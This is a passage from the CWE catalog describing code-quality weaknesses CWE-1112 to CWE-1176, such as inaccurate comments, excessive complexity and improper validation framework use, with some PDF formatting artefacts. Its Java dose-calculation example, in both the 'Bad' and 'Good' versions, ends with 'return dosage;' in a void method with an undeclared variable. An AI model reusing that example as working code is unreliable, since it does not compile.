[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT\\_](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_) >.

## CWE-1112: Incomplete Documentation of Program Execution

**Weakness ID :** 1112

**Structure :** Simple

**Abstraction :** Base

### Description

The document does not fully define all mechanisms that are used to control or influence how product-specific programs are executed.

### Extended Description

This includes environmental variables, configuration files, registry keys, command-line switches or options, or system settings.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1059	Insufficient Technical Documentation	1759

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1225	Documentation Issues	2273

### Weakness Ordinalities

**Indirect :**

### References



[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1113: Inappropriate Comment Style

**Weakness ID** : 1113

**Structure** : Simple

**Abstraction** : Base

### Description

The source code uses comment styles or formats that are inconsistent or do not follow expected standards for the product.

### Extended Description

This issue makes it more difficult to maintain the product due to insufficient legibility, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1779

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1114: Inappropriate Whitespace Style

**Weakness ID** : 1114

**Structure** : Simple

**Abstraction** : Base

### Description

The source code contains whitespace that is inconsistent across the code or does not follow expected standards for the product.

### Extended Description

This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1779

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect :**

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1115: Source Code Element without Standard Prologue

**Weakness ID :** 1115

**Structure :** Simple

**Abstraction :** Base

### Description

The source code contains elements such as source files that do not consistently provide a prologue or header that has been standardized for the project.

### Extended Description

The lack of a prologue can make it more difficult to accurately and quickly understand the associated code. Standard prologues or headers may contain information such as module name, version number, author, date, purpose, function, assumptions, limitations, accuracy considerations, etc.

This issue makes it more difficult to maintain the product due to insufficient analyzability, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1779

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect :**

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1116: Inaccurate Comments

**Weakness ID :** 1116  
**Structure :** Simple  
**Abstraction :** Base

### Description

The source code contains comments that do not accurately describe or explain aspects of the portion of the code with which the comment is associated.

### Extended Description

When a comment does not accurately reflect the associated code elements, this can introduce confusion to a reviewer (due to inconsistencies) or make it more difficult and less efficient to validate that the code is implementing the intended behavior correctly.

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1779

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## Potential Mitigations

### Phase: Implementation

Verify that each comment accurately reflects what is intended to happen during execution of the code.

## Demonstrative Examples

### Example 1:

In the following Java example the code performs a calculation to determine how much medicine to administer. A comment is provided to give insight into what the calculation should be doing. Unfortunately the comment does not match the actual code and thus leaves the reader to wonder which is correct.

*Example Language: Java*

*(Bad)*

```
public class Main {
    public static void main(String[] args) {
        int pt_weight = 83;
        int mg_per_kg = 3;
        int daily_dose = 0;
        // Add the patient weight and Mg/Kg to calculate the correct daily dose
        daily_dose = pt_weight * mg_per_kg;
        return dosage;
    }
}
```

In the correction below, the code functionality has been verified, and the comment has been corrected to reflect the proper calculation.

*Example Language: Java*

*(Good)*

```
public class Main {
    public static void main(String[] args) {
        int pt_weight = 83;
        int mg_per_kg = 3;
        int daily_dose = 0;
        // Multiply the patient weight and Mg/Kg to calculate the correct daily dose
        daily_dose = pt_weight * mg_per_kg;
        return dosage;
    }
}
```

Note that in real-world code, these values should be validated to disallow negative numbers, prevent integer overflow, etc.

## References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1117: Callable with Insufficient Behavioral Summary

**Weakness ID :** 1117

**Structure :** Simple

**Abstraction** : Base**Description**

The code contains a function or method whose signature and/or associated inline documentation does not sufficiently describe the callable's inputs, outputs, side effects, assumptions, or return codes.

**Extended Description**

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1779

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

**Weakness Ordinalities**

**Indirect** :

**Common Consequences**

Scope	Impact	Likelihood
Other	Reduce Maintainability	

**References**

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

**CWE-1118: Insufficient Documentation of Error Handling Techniques****Weakness ID** : 1118**Structure** : Simple**Abstraction** : Base**Description**

The documentation does not sufficiently describe the techniques that are used for error handling, exception processing, or similar mechanisms.

**Extended Description**

Documentation may need to cover error handling techniques at multiple layers, such as module, executable, compilable code unit, or callable.


**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1059	Insufficient Technical Documentation	1759

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1225	Documentation Issues	2273

### Weakness Ordinalities

Indirect :

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT\\_](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_) >.

## CWE-1119: Excessive Use of Unconditional Branching

**Weakness ID** : 1119

**Structure** : Simple

**Abstraction** : Base

### Description

The code uses too many unconditional branches (such as "goto").

### Extended Description

This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities

Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1120: Excessive Code Complexity

**Weakness ID :** 1120  
**Structure :** Simple  
**Abstraction :** Class

### Description

The code is too complex, as calculated using a well-defined, quantitative measure.

### Extended Description

This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
ParentOf	ⓑ	1047	Modules with Circular Dependencies	1747
ParentOf	ⓑ	1056	Invokable Control Element with Variadic Parameters	1756
ParentOf	ⓑ	1060	Excessive Number of Inefficient Server-Side Data Accesses	1761
ParentOf	ⓑ	1064	Invokable Control Element with Signature Containing an Excessive Number of Parameters	1765
ParentOf	ⓑ	1075	Unconditional Control Flow Transfer outside of Switch Block	1777
ParentOf	ⓑ	1080	Source Code File with Excessive Number of Lines of Code	1781
ParentOf	ⓑ	1095	Loop Condition Value Update within the Loop	1795
ParentOf	ⓑ	1119	Excessive Use of Unconditional Branching	1816
ParentOf	ⓑ	1121	Excessive McCabe Cyclomatic Complexity	1818
ParentOf	ⓑ	1122	Excessive Halstead Complexity	1819
ParentOf	ⓑ	1123	Excessive Use of Self-Modifying Code	1820
ParentOf	ⓑ	1124	Excessively Deep Nesting	1820
ParentOf	ⓑ	1125	Excessive Attack Surface	1821

### Weakness Ordinalities

**Indirect :**



**Common Consequences**

Scope	Impact	Likelihood
Other	Reduce Maintainability	
Other	Reduce Performance	

**CWE-1121: Excessive McCabe Cyclomatic Complexity****Weakness ID** : 1121**Structure** : Simple**Abstraction** : Base**Description**

The code contains McCabe cyclomatic complexity that exceeds a desirable maximum.

**Extended Description**

This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*



Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

**Weakness Ordinalities**

**Indirect :**

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-11		

**References**

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < <https://www.researchgate.net/>

publication/285403022\_PROVIDING\_A\_FRAMEWORK\_FOR\_EFFECTIVE\_SOFTWARE\_QUALITY\_MEASUREMENTS >.

[REF-964]Wikipedia. "Cyclomatic Complexity". 2018 April 3. < [https://en.wikipedia.org/wiki/Cyclomatic\\_complexity](https://en.wikipedia.org/wiki/Cyclomatic_complexity) >.

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1122: Excessive Halstead Complexity

**Weakness ID** : 1122

**Structure** : Simple

**Abstraction** : Base

### Description

The code is structured in a way that a Halstead complexity measure exceeds a desirable maximum.

### Extended Description

A variety of Halstead complexity measures exist, such as program vocabulary size or volume.

This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENTS](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENTS) >.

[REF-965]Wikipedia. "Halstead complexity measures". 2017 November 2. < [https://en.wikipedia.org/wiki/Halstead\\_complexity\\_measures](https://en.wikipedia.org/wiki/Halstead_complexity_measures) >.

## CWE-1123: Excessive Use of Self-Modifying Code

**Weakness ID** : 1123  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product uses too much self-modifying code.


### Extended Description

This issue makes it more difficult to understand or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1124: Excessively Deep Nesting

**Weakness ID** : 1124  
**Structure** : Simple  
**Abstraction** : Base

### Description

The code contains a callable or other code grouping in which the nesting / branching is too deep.

### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

## Weakness Ordinalities

**Indirect :**

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1125: Excessive Attack Surface

**Weakness ID :** 1125  
**Structure :** Simple  
**Abstraction :** Base

## Description

The product has an attack surface whose quantitative measurement exceeds a desirable maximum.


## Extended Description

Originating from software security, an "attack surface" measure typically reflects the number of input points and output points that can be utilized by an untrusted party, i.e. a potential attacker. A larger attack surface provides more places to attack, and more opportunities for developers to introduce weaknesses. In some cases, this measure may reflect other aspects of quality besides security; e.g., a product with many inputs and outputs may require a large number of tests in order to improve code coverage.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

### Weakness Ordinalities

**Indirect :**

### References

[REF-966]Pratyusa Manadhata. "An Attack Surface Metric". 2008 November. < <http://reports-archive.adm.cs.cmu.edu/anon/2008/CMU-CS-08-152.pdf> >.

[REF-967]Pratyusa Manadhata and Jeannette M. Wing. "Measuring a System's Attack Surface". 2004. < <http://www.cs.cmu.edu/afs/cs/usr/wing/www/publications/ManadhataWing04.pdf> >.

## CWE-1126: Declaration of Variable with Unnecessarily Wide Scope

**Weakness ID :** 1126

**Structure :** Simple

**Abstraction :** Base

### Description

The source code declares a variable in one scope, but the variable is only used within a narrower scope.

### Extended Description

This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## CWE-1127: Compilation with Insufficient Warnings or Errors

**Weakness ID** : 1127

**Structure** : Simple

**Abstraction** : Base

### Description

The code is compiled without sufficient warnings enabled, which may prevent the detection of subtle bugs or quality issues.

### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	☐	1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## CWE-1164: Irrelevant Code

**Weakness ID** : 1164

**Structure** : Simple

**Abstraction** : Class

### Description

The product contains code that is not essential for execution, i.e. makes no state changes and has no side effects that alter data or control flow, such that removal of the code would have no impact to functionality or correctness.

### Extended Description

Irrelevant code could include dead code, initialization that is not used, empty blocks, code that could be entirely removed due to optimization, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
ParentOf	Ⓧ	107	Struts: Unused Validation Form	251
ParentOf	Ⓧ	110	Struts: Validator Without Form Field	256
ParentOf	Ⓟ	561	Dead Code	1201
ParentOf	Ⓧ	563	Assignment to Variable without Use	1206
ParentOf	Ⓟ	1071	Empty Code Block	1773

### Weakness Ordinalities

Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	
Other	Reduce Performance	

## CWE-1173: Improper Use of Validation Framework

**Weakness ID :** 1173

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not use, or incorrectly uses, an input validation framework that is provided by the source language or an independent library.

### Extended Description

Many modern coding languages provide developers with input validation frameworks to make the task of input validation easier and less error-prone. These frameworks will automatically check all input against specified criteria and direct execution to error handlers when invalid input is received. The improper use (i.e., an incorrect implementation or missing altogether) of these frameworks is not directly exploitable, but can lead to an exploitable condition if proper input validation is not performed later in the product. Not using provided input validation frameworks can also hurt the maintainability of code as future developers may not recognize the downstream input validation being used in the place of the validation framework.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	Ⓧ	20	Improper Input Validation	19
ParentOf	Ⓧ	102	Struts: Duplicate Validation Forms	239
ParentOf	Ⓧ	105	Struts: Form Field Without Validator	245
ParentOf	Ⓧ	106	Struts: Plug-in Framework not in Use	248
ParentOf	Ⓧ	108	Struts: Unvalidated Action Form	253



Nature	Type	ID	Name	Page
ParentOf	V	109	Struts: Validator Turned Off	254
ParentOf	V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework	1196
ParentOf	V	1174	ASP.NET Misconfiguration: Improper Model Validation	1825

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2271

### Weakness Ordinalities

**Indirect :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State  <i>Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.</i>	

### Detection Methods

#### Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present. Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

### Potential Mitigations

#### Phase: Implementation

Properly use provided input validation frameworks.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## CWE-1174: ASP.NET Misconfiguration: Improper Model Validation

**Weakness ID :** 1174

**Structure :** Simple

**Abstraction :** Variant

### Description

The ASP.NET application does not use, or incorrectly uses, the model validation framework.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1173	Improper Use of Validation Framework	1824

### Weakness Ordinalities

**Indirect :**

### Applicable Platforms

**Language :** ASP.NET (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State  <i>Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.</i>	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

## CWE-1176: Inefficient CPU Computation

**Weakness ID :** 1176

**Structure :** Simple

**Abstraction :** Class

### Description

The product performs CPU computations using algorithms that are not as efficient as they could be for the needs of the developer, i.e., the computations can be optimized further.







### Extended Description

This issue can make the product perform more slowly, possibly in ways that are noticeable to the users. If an attacker can influence the amount of computation that must be performed, e.g. by triggering worst-case complexity, then this performance problem might introduce a vulnerability.

### Relationships

